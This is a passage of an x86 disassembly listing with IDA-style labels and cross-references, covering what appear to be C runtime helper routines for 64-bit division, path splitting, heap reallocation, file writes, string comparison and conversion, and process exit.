mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_418F72
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_418FB3
; ---------------------------------------------------------------------------
loc_418F72: ; CODE XREF: sub_418F50+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_418F80: ; CODE XREF: sub_418F50+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_418F80
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_418FAE
cmp edx, [esp+8+arg_4]
ja short loc_418FAE
jb short loc_418FAF
cmp eax, [esp+8+arg_0]
jbe short loc_418FAF
loc_418FAE: ; CODE XREF: sub_418F50+4Ej
; sub_418F50+54j
dec esi
loc_418FAF: ; CODE XREF: sub_418F50+56j
; sub_418F50+5Cj
xor edx, edx
mov eax, esi
loc_418FB3: ; CODE XREF: sub_418F50+20j
pop esi
pop ebx
retn 10h
sub_418F50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418FB8 proc near ; CODE XREF: sub_40B6ED+1E3p
; sub_40E48A+F7p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_4177B0
cmp eax, 1
pop ecx
jb short loc_418FF3
cmp byte ptr [ebx+1], 3Ah
jnz short loc_418FF3
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_418FEF
push 2
push ebx
push esi
call sub_41EA38
add esp, 0Ch
and byte ptr [esi+2], 0
loc_418FEF: ; CODE XREF: sub_418FB8+25j
inc ebx
inc ebx
jmp short loc_418FFD
; ---------------------------------------------------------------------------
loc_418FF3: ; CODE XREF: sub_418FB8+18j
; sub_418FB8+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_418FFD
and byte ptr [eax], 0
loc_418FFD: ; CODE XREF: sub_418FB8+39j
; sub_418FB8+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_419075
loc_419010: ; CODE XREF: sub_418FB8+87j
mov cl, [eax]
movzx edx, cl
test byte_48AA01[edx], 4
jz short loc_419021
inc eax
jmp short loc_41903B
; ---------------------------------------------------------------------------
loc_419021: ; CODE XREF: sub_418FB8+64j
cmp cl, 2Fh
jz short loc_419035
cmp cl, 5Ch
jz short loc_419035
cmp cl, 2Eh
jnz short loc_41903B
mov [ebp+var_4], eax
jmp short loc_41903B
; ---------------------------------------------------------------------------
loc_419035: ; CODE XREF: sub_418FB8+6Cj
; sub_418FB8+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_41903B: ; CODE XREF: sub_418FB8+67j
; sub_418FB8+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_419010
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_419075
cmp [ebp+arg_8], 0
jz short loc_419070
sub edi, ebx
cmp edi, esi
jb short loc_419059
mov edi, esi
loc_419059: ; CODE XREF: sub_418FB8+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_41EA38
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_419070: ; CODE XREF: sub_418FB8+97j
mov ebx, [ebp+arg_4]
jmp short loc_41907F
; ---------------------------------------------------------------------------
loc_419075: ; CODE XREF: sub_418FB8+56j
; sub_418FB8+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_41907F
and byte ptr [ecx], 0
loc_41907F: ; CODE XREF: sub_418FB8+BBj
; sub_418FB8+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_4190D2
cmp edi, ebx
jb short loc_4190D2
cmp [ebp+arg_C], 0
jz short loc_4190AF
sub edi, ebx
cmp edi, esi
jb short loc_419098
mov edi, esi
loc_419098: ; CODE XREF: sub_418FB8+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_41EA38
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_4190AF: ; CODE XREF: sub_418FB8+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_4190FA
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_4190BF
mov esi, eax
loc_4190BF: ; CODE XREF: sub_418FB8+103j
push esi
push [ebp+var_4]
push edi
call sub_41EA38
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_4190FA
; ---------------------------------------------------------------------------
loc_4190D2: ; CODE XREF: sub_418FB8+CCj
; sub_418FB8+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_4190F0
sub eax, ebx
cmp eax, esi
jnb short loc_4190E1
mov esi, eax
loc_4190E1: ; CODE XREF: sub_418FB8+125j
push esi
push ebx
push edi
call sub_41EA38
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_4190F0: ; CODE XREF: sub_418FB8+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_4190FA
and byte ptr [eax], 0
loc_4190FA: ; CODE XREF: sub_418FB8+FCj
; sub_418FB8+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_418FB8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4190FF proc near ; CODE XREF: sub_40BE01+19p
; sub_40D430+1Cp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_419B38
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41913D
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41914A
; ---------------------------------------------------------------------------
loc_41913D: ; CODE XREF: sub_4190FF+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_419A23
pop ecx
pop ecx
loc_41914A: ; CODE XREF: sub_4190FF+3Cj
mov eax, esi
pop esi
leave
retn
sub_4190FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41914F proc near ; CODE XREF: sub_40C079+2Cp
; sub_418303+35p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
push ebx
push esi
push edi
jnz short loc_41916A
push [ebp+arg_4]
call sub_417889
pop ecx
jmp loc_4193EA
; ---------------------------------------------------------------------------
loc_41916A: ; CODE XREF: sub_41914F+Bj
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_41917F
push [ebp+arg_0]
call sub_41793B
pop ecx
jmp loc_4193E8
; ---------------------------------------------------------------------------
loc_41917F: ; CODE XREF: sub_41914F+20j
mov eax, dword_48AB28
cmp eax, 3
jnz loc_41928F
loc_41918D: ; CODE XREF: sub_41914F+12Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41926B
push [ebp+arg_0]
call sub_41AA89
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_419246
cmp esi, dword_48AB20
ja short loc_4191FF
mov edi, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41B292
add esp, 0Ch
test eax, eax
jnz short loc_4191FB
push esi
call sub_41ADDD
mov edi, eax
pop ecx
test edi, edi
jz short loc_4191FF
mov ebx, [ebp+arg_0]
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_4191DF
mov eax, esi
loc_4191DF: ; CODE XREF: sub_41914F+8Cj
push eax
push ebx
push edi
call sub_417090
push ebx
call sub_41AA89
push [ebp+arg_0]
mov ebx, eax
push ebx
call sub_41AAB4
add esp, 18h
loc_4191FB: ; CODE XREF: sub_41914F+74j
test edi, edi
jnz short loc_419242
loc_4191FF: ; CODE XREF: sub_41914F+62j
; sub_41914F+81j
test esi, esi
jnz short loc_419206
push 1
pop esi
loc_419206: ; CODE XREF: sub_41914F+B2j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_48AB24
call dword_4230E8 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_419242
mov ecx, [ebp+arg_0]
mov eax, [ecx-4]
dec eax
cmp eax, esi
jb short loc_41922E
mov eax, esi
loc_41922E: ; CODE XREF: sub_41914F+DBj
push eax
push ecx
push edi
call sub_417090
push [ebp+arg_0]
push ebx
call sub_41AAB4
add esp, 14h
loc_419242: ; CODE XREF: sub_41914F+AEj
; sub_41914F+D0j
test ebx, ebx
jnz short loc_419267
loc_419246: ; CODE XREF: sub_41914F+56j
test esi, esi
jnz short loc_41924D
push 1
pop esi
loc_41924D: ; CODE XREF: sub_41914F+F9j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_48AB24
call dword_423194 ; RtlReAllocateHeap
mov edi, eax
loc_419267: ; CODE XREF: sub_41914F+F5j
test edi, edi
jnz short loc_419288
loc_41926B: ; CODE XREF: sub_41914F+43j
cmp dword_48950C, 0
jz short loc_419288
push esi
call sub_41A854
test eax, eax
pop ecx
jnz loc_41918D
jmp loc_4193E8
; ---------------------------------------------------------------------------
loc_419288: ; CODE XREF: sub_41914F+11Aj
; sub_41914F+123j ...
mov eax, edi
jmp loc_4193EA
; ---------------------------------------------------------------------------
loc_41928F: ; CODE XREF: sub_41914F+38j
cmp eax, 2
jnz loc_4193AA
cmp esi, 0FFFFFFE0h
ja short loc_4192AC
test esi, esi
jbe short loc_4192A9
add esi, 0Fh
and esi, 0FFFFFFF0h
jmp short loc_4192AC
; ---------------------------------------------------------------------------
loc_4192A9: ; CODE XREF: sub_41914F+150j
push 10h
pop esi
loc_4192AC: ; CODE XREF: sub_41914F+14Cj
; sub_41914F+158j ...
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41938C
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_41B7E4
mov ebx, eax
add esp, 0Ch
test ebx, ebx
jz loc_419370
cmp esi, dword_43ACC4
jnb short loc_419334
mov edi, esi
shr edi, 4
push edi
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41BBAC
add esp, 10h
test eax, eax
jz short loc_4192FA
mov edi, [ebp+arg_0]
jmp short loc_41932C
; ---------------------------------------------------------------------------
loc_4192FA: ; CODE XREF: sub_41914F+1A4j
push edi
call sub_41B880
mov edi, eax
pop ecx
test edi, edi
jz short loc_419334
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_419313
mov eax, esi
loc_419313: ; CODE XREF: sub_41914F+1C0j
push eax
push [ebp+arg_0]
push edi
call sub_417090
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41B83B
add esp, 18h
loc_41932C: ; CODE XREF: sub_41914F+1A9j
test edi, edi
jnz loc_419288
loc_419334: ; CODE XREF: sub_41914F+18Bj
; sub_41914F+1B6j
push esi
push 0
push dword_48AB24
call dword_4230E8 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_41938C
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_419355
mov eax, esi
loc_419355: ; CODE XREF: sub_41914F+202j
push eax
push [ebp+arg_0]
push edi
call sub_417090
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41B83B
add esp, 18h
jmp short loc_419384
; ---------------------------------------------------------------------------
loc_419370: ; CODE XREF: sub_41914F+17Fj
push esi
push [ebp+arg_0]
push 0
push dword_48AB24
call dword_423194 ; RtlReAllocateHeap
mov edi, eax
loc_419384: ; CODE XREF: sub_41914F+21Fj
test edi, edi
jnz loc_419288
loc_41938C: ; CODE XREF: sub_41914F+162j
; sub_41914F+1F8j
cmp dword_48950C, 0
jz loc_419288
push esi
call sub_41A854
test eax, eax
pop ecx
jnz loc_4192AC
jmp short loc_4193E8
; ---------------------------------------------------------------------------
loc_4193AA: ; CODE XREF: sub_41914F+143j
; sub_41914F+297j
xor eax, eax
cmp esi, 0FFFFFFE0h
ja short loc_4193D4
test esi, esi
jnz short loc_4193B8
push 1
pop esi
loc_4193B8: ; CODE XREF: sub_41914F+264j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_48AB24
call dword_423194 ; RtlReAllocateHeap
test eax, eax
jnz short loc_4193EA
loc_4193D4: ; CODE XREF: sub_41914F+260j
cmp dword_48950C, 0
jz short loc_4193EA
push esi
call sub_41A854
test eax, eax
pop ecx
jnz short loc_4193AA
loc_4193E8: ; CODE XREF: sub_41914F+2Bj
; sub_41914F+134j ...
xor eax, eax
loc_4193EA: ; CODE XREF: sub_41914F+16j
; sub_41914F+13Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41914F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4193EF proc near ; CODE XREF: sub_40C6D2+127p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_419413
xor eax, eax
jmp loc_4194E0
; ---------------------------------------------------------------------------
loc_419413: ; CODE XREF: sub_4193EF+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_419426
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41942D
; ---------------------------------------------------------------------------
loc_419426: ; CODE XREF: sub_4193EF+2Dj
mov [ebp+arg_C], 1000h
loc_41942D: ; CODE XREF: sub_4193EF+35j
; sub_4193EF+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_419461
mov eax, [esi+4]
test eax, eax
jz short loc_419461
cmp ebx, eax
mov edi, ebx
jb short loc_419447
mov edi, eax
loc_419447: ; CODE XREF: sub_4193EF+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call sub_417090
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_4194A7
; ---------------------------------------------------------------------------
loc_419461: ; CODE XREF: sub_4193EF+47j
; sub_4193EF+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_4194AC
test ecx, ecx
jz short loc_419475
push esi
call sub_41A4D0
test eax, eax
pop ecx
jnz short loc_4194EE
loc_419475: ; CODE XREF: sub_4193EF+79j
cmp [ebp+arg_C], 0
jz short loc_419488
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_41948A
; ---------------------------------------------------------------------------
loc_419488: ; CODE XREF: sub_4193EF+8Aj
mov edi, ebx
loc_41948A: ; CODE XREF: sub_4193EF+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_41EAC2
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_4194E5
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_4194E5
loc_4194A7: ; CODE XREF: sub_4193EF+70j
mov edi, [ebp+var_4]
jmp short loc_4194D5
; ---------------------------------------------------------------------------
loc_4194AC: ; CODE XREF: sub_4193EF+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_419A23
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_4194EE
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_4194D5
mov [ebp+arg_C], 1
loc_4194D5: ; CODE XREF: sub_4193EF+BBj
; sub_4193EF+DDj
test ebx, ebx
jnz loc_41942D
mov eax, [ebp+arg_8]
loc_4194E0: ; CODE XREF: sub_4193EF+1Fj
; sub_4193EF+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4194E5: ; CODE XREF: sub_4193EF+ADj
; sub_4193EF+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_4194F0
; ---------------------------------------------------------------------------
loc_4194EE: ; CODE XREF: sub_4193EF+84j
; sub_4193EF+CFj
mov eax, edi
loc_4194F0: ; CODE XREF: sub_4193EF+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_4194E0
sub_4193EF endp
; =============== S U B R O U T I N E =======================================
sub_4194F9 proc near ; CODE XREF: sub_40CE09+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call dword_4230A8 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jnz short loc_419519
call dword_42308C ; RtlGetLastWin32Error
push eax
call sub_41EC6F
pop ecx
loc_419515: ; CODE XREF: sub_4194F9+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_419519: ; CODE XREF: sub_4194F9+Dj
test al, 1
jz short loc_41953A
test [esp+arg_4], 2
jz short loc_41953A
mov dword_4894AC, 0Dh
mov dword_4894B0, 5
jmp short loc_419515
; ---------------------------------------------------------------------------
loc_41953A: ; CODE XREF: sub_4194F9+22j
; sub_4194F9+29j
xor eax, eax
retn
sub_4194F9 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_419540 proc near ; CODE XREF: sub_40CF32+5Fp
; sub_40CF32+90p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_419561
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_419561: ; CODE XREF: sub_419540+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41957D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41957D: ; CODE XREF: sub_419540+27j
or eax, eax
jnz short loc_419599
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_4195DA
; ---------------------------------------------------------------------------
loc_419599: ; CODE XREF: sub_419540+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_4195A7: ; CODE XREF: sub_419540+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_4195A7
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_4195D5
cmp edx, [esp+0Ch+arg_4]
ja short loc_4195D5
jb short loc_4195D6
cmp eax, [esp+0Ch+arg_0]
jbe short loc_4195D6
loc_4195D5: ; CODE XREF: sub_419540+85j
; sub_419540+8Bj
dec esi
loc_4195D6: ; CODE XREF: sub_419540+8Dj
; sub_419540+93j
xor edx, edx
mov eax, esi
loc_4195DA: ; CODE XREF: sub_419540+57j
dec edi
jnz short loc_4195E4
neg edx
neg eax
sbb edx, 0
loc_4195E4: ; CODE XREF: sub_419540+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_419540 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4195F0 proc near ; CODE XREF: sub_40D28A+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_41963C
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_41963D
test eax, 1
jz short loc_41961D
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41966A
inc esi
inc edi
dec eax
jz short loc_41963A
loc_41961D: ; CODE XREF: sub_4195F0+20j
; sub_4195F0+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41966A
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41966A
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41961D
loc_41963A: ; CODE XREF: sub_4195F0+2Bj
; sub_4195F0+84j
pop edi
pop esi
locret_41963C: ; CODE XREF: sub_4195F0+6j
retn
; ---------------------------------------------------------------------------
loc_41963D: ; CODE XREF: sub_4195F0+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_419672
repe cmpsd
jz short loc_419672
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_419665
cmp ch, dh
jnz short loc_419665
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_419665
cmp ch, dh
loc_419665: ; CODE XREF: sub_4195F0+63j
; sub_4195F0+67j ...
mov eax, 0
loc_41966A: ; CODE XREF: sub_4195F0+26j
; sub_4195F0+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_419672: ; CODE XREF: sub_4195F0+55j
; sub_4195F0+59j
test eax, eax
jz short loc_41963A
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_419665
dec eax
jz short loc_419699
cmp dh, ch
jnz short loc_419665
dec eax
jz short loc_419699
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_419665
dec eax
loc_419699: ; CODE XREF: sub_4195F0+8Fj
; sub_4195F0+96j
pop edi
pop esi
retn
sub_4195F0 endp
; =============== S U B R O U T I N E =======================================
sub_41969C proc near ; CODE XREF: sub_40E3CC+55p
; sub_415CC2+238p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_4196B3
loc_4196A9: ; CODE XREF: sub_41969C+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_4196A9
loc_4196B3: ; CODE XREF: sub_41969C+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_41969C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4196B9 proc near ; CODE XREF: sub_40E3CC+19p
; sub_40E3CC+49p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_419786
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_4197B3
cmp dword_489540, esi
jnz short loc_41970A
cmp edi, esi
jbe loc_4197B3
loc_4196E9: ; CODE XREF: sub_4196B9+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_4197B3
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_4196E9
jmp loc_4197B3
; ---------------------------------------------------------------------------
loc_41970A: ; CODE XREF: sub_4196B9+26j
mov ebx, [ebp+arg_4]
mov esi, dword_423070
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push dword_489550
call esi ; MultiByteToWideChar
test eax, eax
jnz loc_4197B2
call dword_42308C ; RtlGetLastWin32Error
cmp eax, 7Ah
jz short loc_419744
loc_419735: ; CODE XREF: sub_4196B9+CBj
; sub_4196B9+F7j
mov dword_4894AC, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_4197B3
; ---------------------------------------------------------------------------
loc_419744: ; CODE XREF: sub_4196B9+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_41974C: ; CODE XREF: sub_4196B9+B3j
mov cl, [eax]
test cl, cl
jz short loc_41976E
mov edx, off_438A80
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_419763
inc eax
loc_419763: ; CODE XREF: sub_4196B9+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_41974C
loc_41976E: ; CODE XREF: sub_4196B9+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push dword_489550
call esi ; MultiByteToWideChar
test eax, eax
jnz short loc_4197B3
jmp short loc_419735
; ---------------------------------------------------------------------------
loc_419786: ; CODE XREF: sub_4196B9+Fj
cmp dword_489540, esi
jnz short loc_419799
push [ebp+arg_4]
call sub_4177B0
pop ecx
jmp short loc_4197B3
; ---------------------------------------------------------------------------
loc_419799: ; CODE XREF: sub_4196B9+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push dword_489550
call dword_423070 ; MultiByteToWideChar
cmp eax, esi
jz short loc_419735
loc_4197B2: ; CODE XREF: sub_4196B9+6Bj
dec eax
loc_4197B3: ; CODE XREF: sub_4196B9+1Aj
; sub_4196B9+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4196B9 endp
; =============== S U B R O U T I N E =======================================
sub_4197B8 proc near ; CODE XREF: sub_4198E4+93p
mov eax, off_438A4C
test eax, eax
jz short loc_4197C3
call eax ; sub_417A73
loc_4197C3: ; CODE XREF: sub_4197B8+7j
push offset dword_425028
push offset dword_425014
call sub_4198A0
push offset dword_425010
push offset dword_425000
call sub_4198A0
add esp, 10h
retn
sub_4197B8 endp
; =============== S U B R O U T I N E =======================================
sub_4197E5 proc near ; CODE XREF: sub_4198E4+D2p
arg_0 = dword ptr 4
push 0
push 0
push [esp+8+arg_0]
call sub_419807
add esp, 0Ch
retn
sub_4197E5 endp
; =============== S U B R O U T I N E =======================================
sub_4197F6 proc near ; CODE XREF: .data:004199D5p
; sub_4199DA+1Cp ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_419807
add esp, 0Ch
retn
sub_4197F6 endp
; =============== S U B R O U T I N E =======================================
sub_419807 proc near ; CODE XREF: sub_4197E5+8p
; sub_4197F6+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp dword_4894F4, edi
jnz short loc_419824
push [esp+4+arg_0]
call dword_42313C ; GetCurrentProcess
push eax
call dword_423170 ; TerminateProcess
loc_419824: ; CODE XREF: sub_419807+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov dword_4894F0, edi
mov byte_4894EC, bl
jnz short loc_419878
mov eax, dword_48AB3C
test eax, eax
jz short loc_419867
mov ecx, dword_48AB38
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_419866
loc_419853: ; CODE XREF: sub_419807+5Dj
mov eax, [esi]
test eax, eax
jz short loc_41985B
call eax
loc_41985B: ; CODE XREF: sub_419807+50j
sub esi, 4
cmp esi, dword_48AB3C
jnb short loc_419853
loc_419866: ; CODE XREF: sub_419807+4Aj
pop esi
loc_419867: ; CODE XREF: sub_419807+3Cj
push offset dword_425034
push offset dword_42502C
call sub_4198A0
pop ecx
pop ecx
loc_419878: ; CODE XREF: sub_419807+33j
push offset dword_425040
push offset dword_425038
call sub_4198A0
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_41989E
push [esp+4+arg_0]
mov dword_4894F4, edi
call dword_42314C ; ExitProcess
loc_41989E: ; CODE XREF: sub_419807+85j
pop edi
retn
sub_419807 endp
; =============== S U B R O U T I N E =======================================
sub_4198A0 proc near ; CODE XREF: sub_4197B8+15p
; sub_4197B8+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_4198A5: ; CODE XREF: sub_4198A0+16j
cmp esi, [esp+4+arg_4]
jnb short loc_4198B8
mov eax, [esi]
test eax, eax
jz short loc_4198B3
call eax
loc_4198B3: ; CODE XREF: sub_4198A0+Fj
add esi, 4
jmp short loc_4198A5
; ---------------------------------------------------------------------------
loc_4198B8: ; CODE XREF: sub_4198A0+9j
pop esi
retn
sub_4198A0 endp
; =============== S U B R O U T I N E =======================================
sub_4198BA proc near ; CODE XREF: sub_40EC43+2B66p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_423158 ; DeleteFileA
test eax, eax
jnz short loc_4198D0
call dword_42308C ; RtlGetLastWin32Error
jmp short loc_4198D2
; ---------------------------------------------------------------------------
loc_4198D0: ; CODE XREF: sub_4198BA+Cj
xor eax, eax
loc_4198D2: ; CODE XREF: sub_4198BA+14j
test eax, eax
jz short loc_4198E1
push eax
call sub_41EC6F
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_4198E1: ; CODE XREF: sub_4198BA+1Aj
xor eax, eax
retn
sub_4198BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
